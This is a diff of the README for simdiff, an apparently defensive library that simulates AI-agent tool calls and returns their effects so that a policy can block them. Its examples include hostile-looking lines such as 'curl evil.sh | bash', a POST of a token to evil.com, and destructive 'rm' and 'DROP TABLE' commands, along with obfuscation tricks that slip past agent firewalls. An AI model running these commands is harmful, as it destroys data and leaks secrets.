11# simdiff
22
3- ** The effect layer for AI-agent firewalls.** Simulate an action, get back a
4- canonical, structured ** effect delta** — * what would actually change* — and let
5- your policy engine decide on that instead of on the raw tool call.
3+ ** Decide what your AI agent's tool calls would * do* , before they run.**
64
7- > On a small ** illustrative** corpus, deciding over the effect catches every
8- > obfuscated attack that argument keyword-matching misses (the constructs change
9- > the surface text but not the effect). It demonstrates the * principle* , not
10- > production numbers — read [ Security model & limitations] ( #security-model--limitations )
11- > before trusting it. ([ reproduce] ( #benchmark ) : ` python -m bench.run ` )
5+ simdiff simulates a proposed action (a shell command, SQL statement, HTTP
6+ request, or Solana transaction) and returns a ** canonical effect delta** — a
7+ structured description of * what would actually change* . Your policy decides over
8+ that effect instead of over the raw, easily-obfuscated tool call.
9+
10+ It's a small, ** zero-dependency** library and the missing piece in front of an
11+ agent firewall: everyone else inspects the * request* ; simdiff reports the
12+ * effect* .
1213
1314``` python
1415from simdiff import simdiff
@@ -17,117 +18,82 @@ from simdiff.adapters.shell import ShellAdapter
1718delta = simdiff(" rm important.db" , ShellAdapter(existing = {" important.db" }))
1819print (delta.to_dict())
1920# {'data_access': [{'resource': 'important.db', 'mode': 'DELETE', ...}],
20- # 'unknown': [], 'fully_classified': True, ...} # classified != safe: this DELETES the file
21- ```
22-
23- ## Where it sits
24-
25- ```
26- agent proposes action ─▶ [ simdiff: simulate ▶ canonical effect delta ] ─▶ your policy ─▶ ALLOW / BLOCK / APPROVE ─▶ real execution
21+ # 'unknown': [], 'fully_classified': True} # classified != safe — this DELETES the file
2722```
2823
29- simdiff owns exactly one box: turning a proposed action into * what it would
30- actually do* . The decision and the execution stay yours.
24+ ` mv important.db /dev/null ` , ` DROP/**/TABLE ` , ` chmod u=rwx ` , a base64-encoded
25+ exfil — all change the command's * text* but not its * effect* . A keyword scanner
26+ waves them through; an effect check does not.
3127
32- ## Why it exists
28+ ---
3329
34- The 2026 wave of pre-execution agent firewalls — [ AEGIS] ( https://arxiv.org/abs/2603.12621 ) ,
35- OAP / Open Agent Passport, Agent Action Guard,
36- [ * Before the Tool Call* ] ( https://arxiv.org/abs/2603.20953 ) — all decide ** before**
37- a tool runs. But they decide over the ** request** : the tool name and its
38- arguments, which they scan. An argument can look benign while the real effect is
39- destructive.
40-
41- simdiff is ** not** another firewall. It is the missing piece they share: it
42- ** simulates** the action and returns its ** canonical effect** , so a policy can
43- decide over * the verified effect, not the request* . It composes with those tools
44- rather than competing with them.
30+ ## Use it: simulate → decide → execute
4531
46- ## How it compares
47-
48- | Tool | Decides over | Form |
49- | ---| ---| ---|
50- | agent-airlock, MS agent-governance-toolkit, Faramesh | the ** call** (tool name + args, normalized/validated) | full firewall / control plane |
51- | AEGIS, OAP, Agent Action Guard | the ** call** (extract + scan args) before execution | full firewall |
52- | ** simdiff** | the ** simulated effect** (what would actually change) | a ** library / primitive** you feed to any of the above |
53-
54- The line: everyone else canonicalizes or scans the * request* . simdiff reports the
55- * effect* . The adapters do this two different ways — be clear which you are using:
56-
57- - ** Simulate (execute & observe):** ` filesystem ` (runs the action on a shadow
58- copy), ` sql ` (runs inside a rollback), ` solana ` (RPC ` simulateTransaction ` ).
59- These see the * real* effect — but they ** execute the action** . See the security
60- model below.
61- - ** Interpret the request (no execution), fail-closed:** ` shell ` , ` http ` . These
62- do * not* observe a real effect; they parse what the request would do and refuse
63- to certify anything they can't fully model. They are only trustworthy because
64- they fail closed, not because they simulate.
65-
66- ## What simdiff is NOT
67-
68- - Not a policy engine — it returns the effect; ** you** (or your firewall) decide.
69- - Not a complete agent-security solution — it is one composable building block.
70- - ` fully_classified ` is ** not** a safety verdict (see below).
71-
72- ## Design principles
73-
74- - ** Fail-closed** — anything an adapter cannot account for lands in ` unknown ` ,
75- which makes ` delta.fully_classified ` ` False ` . Treat that as block/escalate.
76- - ** ` fully_classified ` ≠ safe** — it only means the effect was * understood* . A
77- fully-classified delta can still be a destructive ` DELETE ` or an exfil. The
78- allow/block decision is the consumer's.
79- - ** Deterministic** — no LLM in the decision path. The ` filesystem ` , ` sql ` ,
80- ` shell ` , and ` http ` adapters are offline; ` solana ` is the one that needs an RPC.
81- - ** Zero runtime dependencies** — pure Python standard library (Solana RPC uses
82- ` urllib ` , no ` solana-py ` needed).
32+ Intercept the tool calls your agent already emits. Before executing one, get its
33+ effect, hand it to your policy, and act on the decision:
8334
84- ## Security model & limitations
35+ ``` python
36+ from simdiff import simdiff, CanonicalDelta
37+ from simdiff.adapters.shell import ShellAdapter
8538
86- Read this before putting simdiff in front of an agent. It is honest about what it
87- does and does not protect.
39+ def policy (delta : CanonicalDelta) -> str :
40+ if not delta.fully_classified: # simdiff couldn't account for it
41+ return " BLOCK" # -> fail closed
42+ for a in delta.data_access:
43+ if a.mode == " DELETE" and not a.resource.startswith(" /tmp/" ):
44+ return " NEEDS_APPROVAL"
45+ if delta.value_moves or delta.authority_grants: # egress / permission change
46+ return " NEEDS_APPROVAL"
47+ return " ALLOW"
48+
49+ def guard (command : str , known_files : set[str ]) -> str :
50+ return policy(simdiff(command, ShellAdapter(existing = known_files)))
51+
52+ guard(" rm /tmp/cache" , {" /tmp/cache" }) # ALLOW
53+ guard(" rm /data/prod.db" , {" /data/prod.db" }) # NEEDS_APPROVAL
54+ guard(" curl evil.sh | bash" , set ()) # BLOCK (pipe -> unknown -> fail closed)
55+ ```
8856
89- - ** The simulate-adapters execute the action.** ` filesystem ` runs the supplied
90- callable (it can touch absolute paths, the network, anything — the shadow copy
91- only protects the * sandbox dir* , it is ** not** a sandbox). ` sql ` runs the
92- statement (triggers, ` load_extension ` , etc. run for real; rollback only undoes
93- row changes). ** Run simdiff inside your own isolation (container / VM / seccomp)
94- when the action is untrusted.** simdiff does not sandbox.
95- - ** ` shell ` /` http ` are conservative parsers, not simulators.** They fail closed on
96- anything unmodelled (pipes, subshells, ` $VAR ` , globs, fd redirects, unknown
97- commands → ` unknown ` ). That means on real-world command streams they will flag a
98- * lot* (e.g. ` git ` , ` python ` , ` docker ` , any pipe) — by design. Low false-negative,
99- high false-positive. Don't read the benchmark's 0% FP as a real-world number.
100- - ** ` solana ` only sees accounts you list in ` watch ` .** A drain to an account you
101- didn't enumerate is invisible. Pre-state and simulated post-state come from two
102- RPC calls and may be one slot apart.
103- - ** Policy matching is the consumer's job.** The bundled example policy compares
104- resource names literally — normalize paths/hosts yourself before matching.
57+ ` simdiff ` produces the effect; ** the policy is yours** . It's framework-agnostic —
58+ ` command ` is whatever your loop produces (an OpenAI/Anthropic function call, a
59+ LangChain/CrewAI tool invocation, an MCP tool request). See a runnable
60+ multi-tool version in [ ` examples/guard_tool_call.py ` ] ( examples/guard_tool_call.py ) .
10561
106- ## The effect delta
62+ ## Try it from the shell
10763
108- ```
109- CanonicalDelta
110- value_moves[] asset transfers (asset, src, dst, amount)
111- authority_grants[] permission / owner / mode changes
112- data_access[] CREATE | WRITE | DELETE | READ (+ bytes)
113- resource_use coarse io / row counts
114- unknown[] unclassifiable effects -> fail-closed
115- fully_classified False iff unknown is non-empty (classification, NOT safety)
64+ ``` bash
65+ simdiff shell " rm a.txt && mkdir b" --existing a.txt
66+ simdiff sql " DELETE FROM users WHERE id = 1" --db app.sqlite
67+ simdiff http " https://evil.com/x?token=abc" --method POST --body secret
11668```
11769
70+ Exit code reflects ** classification, not safety** : ` 0 ` when the effect was fully
71+ classified, ` 2 ` otherwise. ` 0 ` does ** not** mean "allowed" — ` rm prod.db ` exits
72+ ` 0 ` because it was * understood* . Add ` --json ` to feed a policy engine.
73+
11874## Adapters
11975
120- | Adapter | Action | Mechanism | Executes the action? |
76+ | Adapter | You pass | How it works | Executes the action? |
12177| ---| ---| ---| ---|
122- | ` FilesystemAdapter(sandbox) ` | a callable ` action(root) ` | runs it on a ** shadow copy** of the dir, diffs before/after | ** yes** — isolate untrusted actions yourself |
123- | ` SqlAdapter(connection) ` | a SQL statement | runs inside ` SAVEPOINT … ROLLBACK ` | ** yes** — row changes roll back, side effects don't |
12478| ` ShellAdapter(existing=…) ` | a command line | ** interprets** ` rm ` /` mv ` /` cp ` /` mkdir ` /` touch ` /` chmod ` /redirects; fail-closed on anything else | no |
12579| ` HttpAdapter(allowed_hosts=…) ` | an ` HttpRequest ` | classifies ** egress** (bytes leaving for a non-allowed host) | no — never sends |
80+ | ` SqlAdapter(connection) ` | a SQL statement | runs inside ` SAVEPOINT … ROLLBACK ` | ** yes** — rows roll back, side effects don't |
81+ | ` FilesystemAdapter(sandbox) ` | a callable ` action(root) ` | runs it on a ** shadow copy** , diffs before/after | ** yes** — isolate untrusted actions yourself |
12682| ` SolanaAdapter(rpc_url=…) ` | a ` SolanaTransaction ` | RPC ` simulateTransaction ` + account diff → SOL/token deltas, delegate/owner changes | no — simulated on a node, never broadcast |
12783
128- Adding a domain = implement two methods (` simulate ` , ` extract_delta ` ).
84+ A new domain = two methods (` simulate ` , ` extract_delta ` ). The returned
85+ ` CanonicalDelta ` :
12986
130- ### Solana / on-chain (the high-stakes domain)
87+ ```
88+ value_moves[] asset transfers (asset, src, dst, amount)
89+ authority_grants[] permission / owner / mode changes
90+ data_access[] CREATE | WRITE | DELETE | READ (+ bytes)
91+ resource_use coarse io / row counts
92+ unknown[] unclassifiable effects -> fail-closed
93+ fully_classified False iff unknown is non-empty (classification, NOT safety)
94+ ```
95+
96+ ### Solana — the high-stakes domain
13197
13298A transaction can read like "swap 5 USDC" while its real effect is "assign a
13399permanent delegate that drains the token account". Instruction inspection misses
@@ -139,72 +105,97 @@ from simdiff.adapters.solana import SolanaAdapter, SolanaTransaction
139105
140106adapter = SolanaAdapter(rpc_url = " https://api.mainnet-beta.solana.com" )
141107delta = simdiff(SolanaTransaction(tx_b64, watch = [my_token_account]), adapter)
142- # value_moves: [SPL:… 1000000 my_acct -> (outflow)]
143- # authority_grants: [delegate none -> <attacker> (drain risk)]
108+ # authority_grants: [delegate none -> <attacker> (drain risk)]
144109```
145110
146- This is the only adapter that uses the network — there is no local way to know a
147- transaction's on-chain effect. The RPC call is injectable for offline testing,
148- and the default uses ` urllib ` only. See [ ` examples/solana_drain.py ` ] ( examples/solana_drain.py ) .
111+ The only adapter that uses the network — there's no local way to know a
112+ transaction's on-chain effect. The RPC is injectable for offline testing.
113+ See [ ` examples/solana_drain.py ` ] ( examples/solana_drain.py ) .
149114
150- ## CLI
115+ ---
116+
117+ ## Where it sits
151118
152- ``` bash
153- simdiff shell " rm a.txt && mkdir b" --existing a.txt --json
154- simdiff sql " DELETE FROM users WHERE id = 1" --db app.sqlite
155119```
120+ agent proposes action ─▶ [ simdiff: simulate ▶ effect delta ] ─▶ your policy ─▶ ALLOW / BLOCK / APPROVE ─▶ execute
121+ ```
122+
123+ The 2026 pre-execution agent firewalls — [ AEGIS] ( https://arxiv.org/abs/2603.12621 ) ,
124+ OAP / Open Agent Passport, Agent Action Guard,
125+ [ * Before the Tool Call* ] ( https://arxiv.org/abs/2603.20953 ) — all decide ** before**
126+ a tool runs, but they decide over the ** request** (tool name + arguments, which
127+ they scan). simdiff is ** not** another firewall; it's the piece they're missing.
128+
129+ | Tool | Decides over | Form |
130+ | ---| ---| ---|
131+ | AEGIS, OAP, Agent Action Guard, agent-airlock, Faramesh | the ** call** (args, normalized/scanned) | full firewall / control plane |
132+ | ** simdiff** | the ** simulated effect** (what would change) | a ** library / primitive** you feed them |
133+
134+ The adapters get to the effect two ways — know which you're using:
135+
136+ - ** Simulate (execute & observe):** ` filesystem ` , ` sql ` , ` solana ` see the * real*
137+ effect — but they ** execute the action** (see limitations).
138+ - ** Interpret (no execution), fail-closed:** ` shell ` , ` http ` parse the request and
139+ refuse to certify anything they can't fully model. Trustworthy because they fail
140+ closed, not because they simulate.
141+
142+ ## Security model & limitations
156143
157- Exit code reflects ** classification, not safety** : ` 0 ` when the delta is
158- ` fully_classified ` , ` 2 ` otherwise. ` 0 ` does ** not** mean "allowed" — ` rm prod.db `
159- exits ` 0 ` because it was understood. The allow/block decision belongs to your policy.
144+ Read this before putting simdiff in front of an agent.
145+
146+ - ** ` fully_classified ` is not a safety verdict.** It means the effect was
147+ * understood* — a fully-classified delta can still be a destructive ` DELETE ` or
148+ an exfil. The allow/block decision is yours.
149+ - ** The simulate-adapters execute the action.** ` filesystem ` runs the supplied
150+ callable (it can touch absolute paths, the network — the shadow copy only
151+ protects the * sandbox dir* ; it is ** not** a process sandbox). ` sql ` runs the
152+ statement (triggers / ` load_extension ` run for real; only row changes roll
153+ back). ** Run simdiff inside your own isolation (container / VM / seccomp) for
154+ untrusted actions.**
155+ - ** ` shell ` /` http ` are conservative parsers.** They fail closed on anything
156+ unmodelled (pipes, ` $VAR ` , globs, unknown commands → ` unknown ` ). On real command
157+ streams they flag a * lot* (` git ` , ` python ` , any pipe) — low false-negative, high
158+ false-positive, by design.
159+ - ** ` solana ` only sees accounts you list in ` watch ` .** A drain to an account you
160+ didn't enumerate is invisible; pre/post state come from two RPC calls, one slot
161+ apart.
162+ - ** Path/host matching is the consumer's job.** Normalize before comparing.
163+
164+ Full design notes: [ ` SECURITY.md ` ] ( SECURITY.md ) .
160165
161166## Benchmark
162167
163- Why "decide over the effect, not the request" is not just a slogan:
168+ Why "decide over the effect, not the request" isn't just a slogan:
164169
165170```
166171$ python -m bench.run
167172corpus: 18 cases (11 dangerous, 7 safe)
168173
169- approach recall false positives
170- --------------------------------------------------
174+ approach recall false positives
171175effect simulation (simdiff) 100% 0%
172- keyword/arg scanning 27% 0%
176+ keyword/arg scanning 27% 0%
173177```
174178
175- The corpus pits the same dangerous effect against argument obfuscation:
176- deletion expressed as ` mv prod.db /dev/null ` , ` DROP/**/TABLE ` split by a SQL
177- comment, permission widening via symbolic ` chmod u=rwx,go=rwx ` , destruction
178- through an uninterpreted tool (` find … -delete ` , caught ** fail-closed** ), and a
179- secret exfiltrated as a ** base64** body or a query parameter — invisible to
180- payload scanning, but the destination host gives it away. Each preserves the
181- effect while changing the surface text, so keyword scanning waves it through and
182- effect simulation does not. The baseline is a * reasonable* , case-insensitive
183- denylist (it even greps for plaintext key markers) — not a strawman; its
184- weakness is structural.
185-
186- These numbers are asserted in [ ` tests/test_benchmark.py ` ] ( tests/test_benchmark.py ) ,
187- so the claim cannot drift from the code. See [ ` bench/corpus.py ` ] ( bench/corpus.py )
188- for every case.
189-
190- ** Honest caveats:** this is a small, hand-built corpus that I wrote — it
191- illustrates * that effect-deciding beats text-matching on obfuscation* , it is not a
192- general benchmark against production firewalls (which do far more than keyword
193- denylisting). The ** 0% false-positive figure is corpus-specific** : the safe cases
194- use only commands the shell adapter models. On real command streams the adapter
195- fail-closes on most input (` git ` , ` python ` , pipes, …), so real-world false
196- positives are * high* , not zero. The signal to take away is the * direction* , not
197- the percentages.
179+ The corpus pits the same dangerous * effect* against argument obfuscation
180+ (` mv prod.db /dev/null ` , ` DROP/**/TABLE ` , symbolic ` chmod ` , ` find … -delete `
181+ caught fail-closed, base64/query-string exfil). The baseline is a real
182+ case-insensitive denylist, not a strawman — its weakness is structural. Numbers
183+ are asserted in [ ` tests/test_benchmark.py ` ] ( tests/test_benchmark.py ) so they can't
184+ drift from the code.
185+
186+ ** Honest caveat:** small, hand-built corpus. It shows the * direction* (effect-
187+ deciding beats text-matching on obfuscation), not production numbers. The 0%
188+ false-positive figure is corpus-specific — on real command streams the shell
189+ adapter fail-closes on most input, so real-world FP is * high* , not zero.
198190
199191## Install
200192
201193``` bash
202- pip install -e .
203- python -m pytest -q
194+ pip install -e . # PyPI release pending
195+ python -m pytest -q # 113 tests, 100% coverage
204196```
205197
206- See [ ` examples/firewall_integration.py ` ] ( examples/firewall_integration.py ) for a
207- policy deciding over the effect.
198+ Zero runtime dependencies — pure standard library (Solana RPC uses ` urllib ` ).
208199
209200## License
210201
0 commit comments